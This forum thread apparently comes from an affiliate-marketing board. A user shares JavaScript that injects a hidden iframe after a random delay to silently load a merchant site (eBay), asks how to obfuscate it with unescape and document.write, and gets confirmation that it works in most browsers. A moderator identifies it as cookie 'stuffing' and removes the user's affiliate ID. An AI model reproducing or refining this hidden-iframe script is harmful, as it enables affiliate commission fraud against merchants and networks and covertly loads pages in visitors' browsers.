Thread: Can I do this?
blake_jl

Just looking for someone to tell me if I can do the following and it will work.

I have a script that I dont really want to link to in my page, but rather just insert it on the page, much like some people do with their CSS file in the header.

So I started out with the script

function dropit() {
var i = document.createElement("iframe");
with (i.style) {
  top = "0";
  left = "0",
  position = "absolute";
  display = "none";
}
i.src = "http://website.com";
document.body.insertBefore(i);
}

window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));


then I placed it in the head like this


<script language="

javascript

 ">
function dropit() {
var i = document.createElement("iframe");
with (i.style) {
  top = "0";
  left = "0",
  position = "absolute";
  display = "none";
}
i.src = "http://website.com";
document.body.insertBefore(i);
}

window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));
</script>


That's it isn't it? I dont need anything in the body to call (I think thats the correct terminology) the script do I?

Now what I want to do is encode it using

<script language="

javascript

 ">
document.write( unescape( 'the encoded script' ) );
</script>


Just not sure if I can do that.

Javascript

  inside

Javascript

 

Thanks

EDIT: I tested it and believe that what I have done works.

modded:clipped your affid, because i think your talking about stuffing and don't want you getting nuked by CJ in case anything ever were to come up for you.

vsloathe

Yes that will work on most browsers. You might have a problem with the less w3c compatible ones. Test it in IE, FF, Opera, Safari, etc.

blake_jl

Thanks vsloathe.

I know it works in IE because I load the page and watch for ebay to load a few seconds later.

I dont know if it works in FF because I wait and nothing happens.

I have Safari and it works there also.

What I might do is clear my cookies and test it that way. 99% of my traffic is IE anyway.

Mod: Thanks for clipping. It was really late here when I posted. I actually meant to edit that out but forgot.

nutballs

no prob, i figured you didnt want it hanging out there.


Perkiset's Place Home   Politics @ Perkiset's